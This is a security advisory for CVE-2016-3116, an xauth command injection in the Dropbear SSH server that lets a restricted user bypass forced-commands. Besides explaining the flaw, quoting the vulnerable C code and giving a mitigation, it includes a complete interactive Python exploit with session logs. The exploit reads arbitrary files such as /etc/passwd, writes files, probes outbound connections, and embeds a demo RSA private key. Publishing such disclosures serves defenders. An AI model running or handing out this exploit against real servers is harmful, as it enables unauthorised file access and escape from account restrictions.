Dropbear SSHD xauth Command Injection / Bypass
Posted on 16 March 2016
Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116 Version: 0.2 Date: Mar 3rd, 2016 Tag: dropbearsshd xauth command injection may lead to forced-command bypass Overview -------- Name: dropbear Vendor: Matt Johnston References: * https://matt.ucc.asn.au/dropbear/dropbear.html [1] Version: 2015.71 Latest Version: 2015.71 Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years) Platform(s): linux Technology: c Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') Origin: remote Min. Privs.: post auth CVE: CVE-2016-3116 Description --------- quote website [1] >Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers. Summary ------- An authenticated user may inject arbitrary xauth commands by sending an x11 channel request that includes a newline character in the x11 cookie. The newline acts as a command separator to the xauth binary. This attack requires the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector. By injecting xauth commands one gains limited* read/write arbitrary files, information leakage or xauth-connect capabilities. These capabilities can be leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass account restriction. This is generally not expected. The injected xauth commands are performed with the effective permissions of the logged in user as the sshd already dropped its privileges. Quick-Info: * requires: X11Forwarding yes * does *NOT* bypass /bin/false due to special treatment (like nologin) * bypasses forced-commands (allows arbitr. read/write) Capabilities (xauth): * Xauth * write file: limited chars, xauthdb format * read file: limit lines cut at first s * infoleak: environment * connect to other devices (may allow port probing) PoC see ref github. Details ------- // see annotated code below * x11req (svr-x11fwd.c:46) * execchild (svr-chansession.c:893) *- x11setauth (svr-x11fwd.c:129) Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request parameters `x11authprot` and `x11authcookie` from the client ssh packet where `x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`) and `x11authcookie` contains the actual x11 auth cookie. This information is stored in a session specific datastore. When calling `execute` on that session, dropbear will call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding by executing `xauth` with the effective permissions of the user and pass commands via `stdin`. Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains user-tainted data. Since `xauth` commands are passed via `stdin` and ` ` is a command-separator to the `xauth` binary, this allows a client to inject arbitrary `xauth` commands. This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth command injection: SYNOPSIS xauth [ -f authfile ] [ -vqibn ] [ command arg ... ] add displayname protocolname hexkey generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata] [n]extract filename displayname... [n]list [displayname...] [n]merge [filename...] remove displayname... source filename info exit quit version help ? Interesting commands are: info - leaks environment information / path ~# xauth info xauth: file /root/.Xauthority does not exist Authority file: /root/.Xauthority File new: yes File locked: no Number of entries: 0 Changes honored: yes Changes made: no Current input: (argv):1 source - arbitrary file read (cut on first `s`) # xauth source /etc/shadow xauth: file /root/.Xauthority does not exist xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::" extract - arbitrary file write * limited characters * in xauth.db format * since it is not compressed it can be combined with `xauth add` to first store data in the database and then export it to an arbitrary location e.g. to plant a shell or do other things. generate - connect to <ip>:<port> (port probing, connect back and pot. exploit vulnerabilities in X.org Source ------ Inline annotations are prefixed with `//#!` * handle x11 request, stores cookie in `chansess` /* called as a request for a session channel, sets up listening X11 */ /* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */ int x11req(struct ChanSess * chansess) { int fd; /* we already have an x11 connection */ if (chansess->x11listener != NULL) { return DROPBEAR_FAILURE; } chansess->x11singleconn = buf_getbyte(ses.payload); chansess->x11authprot = buf_getstring(ses.payload, NULL); //#! store user tainted data chansess->x11authcookie = buf_getstring(ses.payload, NULL); //#! store user tainted data chansess->x11screennum = buf_getint(ses.payload); * set auth cookie/authprot /* This is called after switching to the user, and sets up the xauth * and environment variables. */ void x11setauth(struct ChanSess *chansess) { char display[20]; /* space for "localhost:12345.123" */ FILE * authprog = NULL; int val; if (chansess->x11listener == NULL) { return; } ... /* popen is a nice function - code is strongly based on OpenSSH's */ authprog = popen(XAUTH_COMMAND, "w"); //#! run xauth binary if (authprog) { fprintf(authprog, "add %s %s %s ", display, chansess->x11authprot, chansess->x11authcookie); //#! injection in cookie, authprot pclose(authprog); } else { fprintf(stderr, "Failed to run %s ", XAUTH_COMMAND); } } Proof of Concept ---------------- Prerequisites: * install python 2.7.x * issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x * run `poc.py` Note: see cve-2016-3115 [3] for `poc.py` Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key poc: 1. configure one user (user1) for `force-commands`: #PUBKEY line - force commands: only allow "whoami" #cat /home/user1/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box #cat /etc/passwd user1:x:1001:1001:,,,:/home/user1:/bin/bash 2. run dropbearsshd (x11fwd is on by default) #> ~/dropbear-2015.71/dropbear -R -F -E -p 2222 [22861] Not backgrounding [22862] Child connection from 192.168.139.1:49597 [22862] Forced command 'whoami' [22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597 3. `forced-commands` - connect with user1 and display env information #> python <host> 22 user1 .demoprivkey INFO:__main__:add this line to your authorized_keys file: #PUBKEY line - force commands: only allow "whoami" #cat /home/user/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .info DEBUG:__main__:auth_cookie: ' info' DEBUG:__main__:dummy exec returned: None INFO:__main__:Authority file: /home/user1/.Xauthority File new: no File locked: no Number of entries: 2 Changes honored: yes Changes made: no Current input: (stdin):2 user1 /usr/bin/xauth: (stdin):1: bad "add" command line ... 4. `forced-commands` - read `/etc/passwd` ... #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx source /etc/passwd ' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... 5. `forced-commands` - write `/tmp/testfile` #> .writefile /tmp/testfile1 `thisisatestfile` DEBUG:__main__:auth_cookie: ' add 127.0.0.250:65500 `thisisatestfile` aa' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:auth_cookie: ' extract /tmp/testfile1 127.0.0.250:65500' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:user1 /usr/bin/xauth: (stdin):1: bad "add" command line #> INFO:__main__:/tmp/testfile1 #> ls -lsat /tmp/testfile1 4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1 #> cat /tmp/testfile1 FA65500hiFA65500`thisisatestfile`AAr 6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100 #> generate 8.8.8.8:100 DEBUG:__main__:auth_cookie: ' generate 8.8.8.8:100' DEBUG:__main__:dummy exec returned: None INFO:__main__:user1 /usr/bin/xauth: (stdin):1: bad "add" command line /usr/bin/xauth: (stdin):2: unable to open display "8.8.8.8:100". #> tcpdump IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0 Mitigation / Workaround ------------------------ * disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD` Notes ----- Thanks to the OpenSSH team for coordinating the fix! Vendor response see: changelog [4] References ---------- [1] https://matt.ucc.asn.au/dropbear/dropbear.html [2] http://linux.die.net/man/1/xauth [3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/ [4] https://matt.ucc.asn.au/dropbear/CHANGES ======= poc.py ======== #!/usr/bin/env python # -*- coding: UTF-8 -*- # Author : <github.com/tintinweb> ############################################################################### # # FOR DEMONSTRATION PURPOSES ONLY! # ############################################################################### import logging import StringIO import sys import os LOGGER = logging.getLogger(__name__) try: import paramiko except ImportError, ie: logging.exception(ie) logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko") sys.exit(1) class SSHX11fwdExploit(object): def __init__(self, hostname, username, password, port=22, timeout=0.5, pkey=None, pkey_pass=None): self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if pkey: pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass) self.ssh.connect(hostname=hostname, port=port, username=username, password=password, timeout=timeout, banner_timeout=timeout, look_for_keys=False, pkey=pkey) def exploit(self, cmd="xxxx ? source /etc/passwd "): transport = self.ssh.get_transport() session = transport.open_session() LOGGER.debug("auth_cookie: %s"%repr(cmd)) session.request_x11(auth_cookie=cmd) LOGGER.debug("dummy exec returned: %s"%session.exec_command("")) transport.accept(0.5) session.recv_exit_status() # block until exit code is ready stdout, stderr = [],[] while session.recv_ready(): stdout.append(session.recv(4096)) while session.recv_stderr_ready(): stderr.append(session.recv_stderr(4096)) session.close() return ''.join(stdout)+''.join(stderr) # catch stdout, stderr def exploit_fwd_readfile(self, path): data = self.exploit("xxxx source %s "%path) if "unable to open file" in data: raise IOError(data) ret = [] for line in data.split(' '): st = line.split('unknown command "',1) if len(st)==2: ret.append(st[1].strip(' "')) return ' '.join(ret) def exploit_fwd_write_(self, path, data): ''' adds display with protocolname containing userdata. badchars=<space> ''' dummy_dispname = "127.0.0.250:65500" ret = self.exploit(' add %s %s aa'%(dummy_dispname, data)) if ret.count('bad "add" command line')>1: raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data)) LOGGER.debug(self.exploit(' extract %s %s'%(path,dummy_dispname))) return path demo_authorized_keys = '''#PUBKEY line - force commands: only allow "whoami" #cat /home/user/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box ''' PRIVKEY = """-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAtUaWCq7z5CM7wGH1/2XlNVMy7glVgYCVHjf8BUZo+FypdD69 9SPu06CZ3e0vSUx5KxlQ7vgU6CtH9nQli53oMy225a/RUGEon/axzVtwTpMnVLqn PLEUn9zPaCjwwpg/Brhr5+NHc3bm/u/LHmKrEg6IjyWssE16exuhA3G/Teed+NaN zKR3jVLrmXohc9dp57jYBPLZJ5NSojsd27LjdWnq/PokxwvkQOrOPkhTne+7GRts U68nW5a99jMSb4bpgqsUsIY0IIsKc1nfzUxonvcXmh+RASIffLCzA0OdQyJ7UrPh TLw8dVOK2e9zsJYlOYUA6G3rnzq9sNmqe7XdeQIDAQABAoIBAHu5M4sTIc8h5RRH SBkKuMgOgwJISJ3c3uoDF/WZuudYhyeZ8xivb7/tK1d3HQEQOtsZqk2P8OUNNU6W s1F5cxQLLXvS5i/QQGP9ghlBQYO/l+aShrY7vnHlyYGz/68xLkMt+CgKzaeXDc4O aDnS6iOm27mn4xdpqiEAGIM7TXCjcPSQ4l8YPxaj84rHBcD4w033Sdzc7i73UUne euQL7bBz5xNibOIFPY3h4q6fbw4bJtPBzAB8c7/qYhJ5P3czGxtqhSqQRogK8T6T A7fGezF90krTGOAz5zJGV+F7+q0L9pIR+uOg+OBFBBmgM5sKRNl8pyrBq/957JaA rhSB0QECgYEA1604IXr4CzAa7tKj+FqNdNJI6jEfp99EE8OIHUExTs57SaouSjhe DDpBRSTX96+EpRnUSbJFnXZn1S9cZfT8i80kSoM1xvHgjwMNqhBTo+sYWVQrfBmj bDVVbTozREaMQezgHl+Tn6G1OuDz5nEnu+7gm1Ud07BFLqi8Ssbhu2kCgYEA1yrc KPIAIVPZfALngqT6fpX6P7zHWdOO/Uw+PoDCJtI2qljpXHXrcI4ZlOjBp1fcpBC9 2Q0TNUfra8m3LGbWfqM23gTaqLmVSZSmcM8OVuKuJ38wcMcNG+7DevGYuELXbOgY nimhjY+3+SXFWIHAtkJKAwZbPO7p857nMcbBH5ECgYBnCdx9MlB6l9rmKkAoEKrw Gt629A0ZmHLftlS7FUBHVCJWiTVgRBm6YcJ5FCcRsAsBDZv8MW1M0xq8IMpV83sM F0+1QYZZq4kLCfxnOTGcaF7TnoC/40fOFJThgCKqBcJQZKiWGjde1lTM8lfTyk+f W3p2+20qi1Yh+n8qgmWpsQKBgQCESNF6Su5Rjx+S4qY65/spgEOOlB1r2Gl8yTcr bjXvcCYzrN4r/kN1u6d2qXMF0zrPk4tkumkoxMK0ThvTrJYK3YWKEinsucxSpJV/ nY0PVeYEWmoJrBcfKTf9ijN+dXnEdx1LgATW55kQEGy38W3tn+uo2GuXlrs3EGbL b4qkQQKBgF2XUv9umKYiwwhBPneEhTplQgDcVpWdxkO4sZdzww+y4SHifxVRzNmX Ao8bTPte9nDf+PhgPiWIktaBARZVM2C2yrKHETDqCfme5WQKzC8c9vSf91DSJ4aV pryt5Ae9gUOCx+d7W2EU7RIn9p6YDopZSeDuU395nxisfyR1bjlv -----END RSA PRIVATE KEY-----""" if __name__=="__main__": logging.basicConfig(loglevel=logging.DEBUG) LOGGER.setLevel(logging.DEBUG) if not len(sys.argv)>4: print """ Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key """ sys.exit(1) hostname, port, username, password = sys.argv[1:] port = int(port) pkey = None if os.path.isfile(password): password = None with open(password,'r') as f: pkey = f.read() elif password==".demoprivkey": pkey = PRIVKEY password = None LOGGER.info("add this line to your authorized_keys file: %s"%demo_authorized_keys) LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port)) ex = SSHX11fwdExploit(hostname, port=port, username=username, password=password, pkey=pkey, timeout=10 ) LOGGER.info("connected!") LOGGER.info (""" Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> """) while True: cmd = raw_input("#> ").strip() if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"): break elif cmd.lower().startswith(".info"): LOGGER.info(ex.exploit(" info")) elif cmd.lower().startswith(".readfile"): LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1])) elif cmd.lower().startswith(".writefile"): parts = cmd.split(" ") LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:]))) else: LOGGER.info(ex.exploit(' %s'%cmd)) # just playing around #print ex.exploit_fwd_readfile("/etc/passwd") #print ex.exploit(" info") #print ex.exploit(" generate <ip>:600<port> .") # generate <ip>:port port=port+6000 #print ex.exploit(" list") #print ex.exploit(" nlist") #print ex.exploit(' add xx xx " ') #print ex.exploit(' generate :0 . data "') #print ex.exploit(' ? ') #print ex.exploit_fwd_readfile("/etc/passwd") #print ex.exploit_fwd_write_("/tmp/somefile", data="`whoami`") LOGGER.info("--quit--")